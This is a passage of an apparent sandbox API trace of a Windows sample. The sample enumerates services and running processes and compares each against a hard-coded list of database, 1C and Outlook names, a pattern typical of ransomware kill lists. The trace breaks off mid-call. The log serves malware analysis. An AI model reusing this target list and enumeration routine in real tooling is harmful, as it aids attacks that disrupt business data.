lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.825] lstrlenW (lpString="LanmanServer") returned 12 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.825] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.825] lstrlenW (lpString="lmhosts") returned 7 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.825] lstrlenW (lpString="MMCSS") returned 5 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.825] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.825] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.825] lstrlenW (lpString="MpsSvc") returned 6 [0053.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.826] lstrlenW (lpString="Netman") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.826] lstrlenW (lpString="netprofm") returned 8 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.826] lstrlenW (lpString="NlaSvc") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.826] lstrlenW (lpString="nsi") returned 3 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.826] lstrlenW (lpString="PcaSvc") returned 6 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.826] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.826] lstrlenW (lpString="PlugPlay") returned 8 [0053.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.827] lstrlenW (lpString="Power") returned 5 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.827] lstrlenW (lpString="ProfSvc") returned 7 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.827] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.827] lstrlenW (lpString="RpcSs") returned 5 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.827] lstrlenW (lpString="SamSs") returned 5 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.827] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.827] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.827] lstrlenW (lpString="Schedule") returned 8 [0053.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.828] lstrlenW (lpString="SENS") returned 4 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.828] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.828] lstrlenW (lpString="Spooler") returned 7 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.828] lstrlenW (lpString="swprv") returned 5 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.828] lstrlenW (lpString="SysMain") returned 7 [0053.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.829] lstrlenW (lpString="Themes") returned 6 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.829] lstrlenW (lpString="TrkWks") returned 6 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.829] lstrlenW (lpString="UxSms") returned 5 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.829] lstrlenW (lpString="VSS") returned 3 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.829] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.829] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.829] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0053.829] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0053.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0053.830] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0053.830] lstrlenW (lpString="Winmgmt") returned 7 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0053.830] lstrlenW (lpString="WPDBusEnum") returned 10 [0053.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0053.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0053.830] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0053.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0053.832] Process32FirstW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.833] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.833] lstrlenW (lpString="System") returned 6 [0053.833] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0053.833] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0053.833] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0053.833] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0053.833] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0053.833] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0053.833] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0053.833] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.834] lstrlenW (lpString="smss.exe") returned 8 [0053.834] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0053.834] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.834] lstrlenW (lpString="csrss.exe") returned 9 [0053.834] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0053.834] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0053.834] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0053.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0053.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0053.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0053.835] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.835] lstrlenW (lpString="wininit.exe") returned 11 [0053.835] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0053.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0053.835] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0053.836] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.836] lstrlenW (lpString="csrss.exe") returned 9 [0053.836] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.837] lstrlenW (lpString="winlogon.exe") returned 12 [0053.837] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.837] lstrlenW (lpString="services.exe") returned 12 [0053.837] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.837] lstrlenW (lpString="lsass.exe") returned 9 [0053.838] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.838] lstrlenW (lpString="lsm.exe") returned 7 [0053.838] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.838] lstrlenW (lpString="svchost.exe") returned 11 [0053.838] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.839] lstrlenW (lpString="svchost.exe") returned 11 [0053.839] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.839] lstrlenW (lpString="svchost.exe") returned 11 [0053.839] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.840] lstrlenW (lpString="svchost.exe") returned 11 [0053.840] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.840] lstrlenW (lpString="svchost.exe") returned 11 [0053.840] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.841] lstrlenW (lpString="audiodg.exe") returned 11 [0053.841] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.841] lstrlenW (lpString="svchost.exe") returned 11 [0053.841] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.842] lstrlenW (lpString="svchost.exe") returned 11 [0053.842] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.842] lstrlenW (lpString="dwm.exe") returned 7 [0053.842] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.843] lstrlenW (lpString="explorer.exe") returned 12 [0053.843] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.843] lstrlenW (lpString="spoolsv.exe") returned 11 [0053.843] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.844] lstrlenW (lpString="taskhost.exe") returned 12 [0053.844] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.844] lstrlenW (lpString="svchost.exe") returned 11 [0053.844] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.845] lstrlenW (lpString="taskeng.exe") returned 11 [0053.845] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.845] lstrlenW (lpString="taskhost.exe") returned 12 [0053.845] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0053.846] lstrlenW (lpString="br_maintaining.exe") returned 18 [0053.846] Process32NextW (in: hSnapshot=0x180, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0053.846] lstrlenW 